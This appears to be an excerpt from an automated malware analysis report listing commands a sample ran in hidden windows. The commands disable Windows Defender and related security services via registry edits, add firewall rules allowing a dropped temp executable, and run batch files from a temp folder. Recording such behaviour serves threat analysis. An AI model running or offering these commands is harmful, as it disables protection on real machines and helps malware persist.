- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=apbypcuwkcwkmqi dir=in action=allow program="%TEMP%\nsz760A.tmp\apbypcuwkcwkmqi.exe" enable=yes profile=public,private' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=apbypcuwkcwkmqi dir=out action=allow program="%TEMP%\nsz760A.tmp\apbypcuwkcwkmqi.exe" enable=yes profile=public,private' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsz760A.tmp\bn1.bat' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsz760A.tmp\bn.bat' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
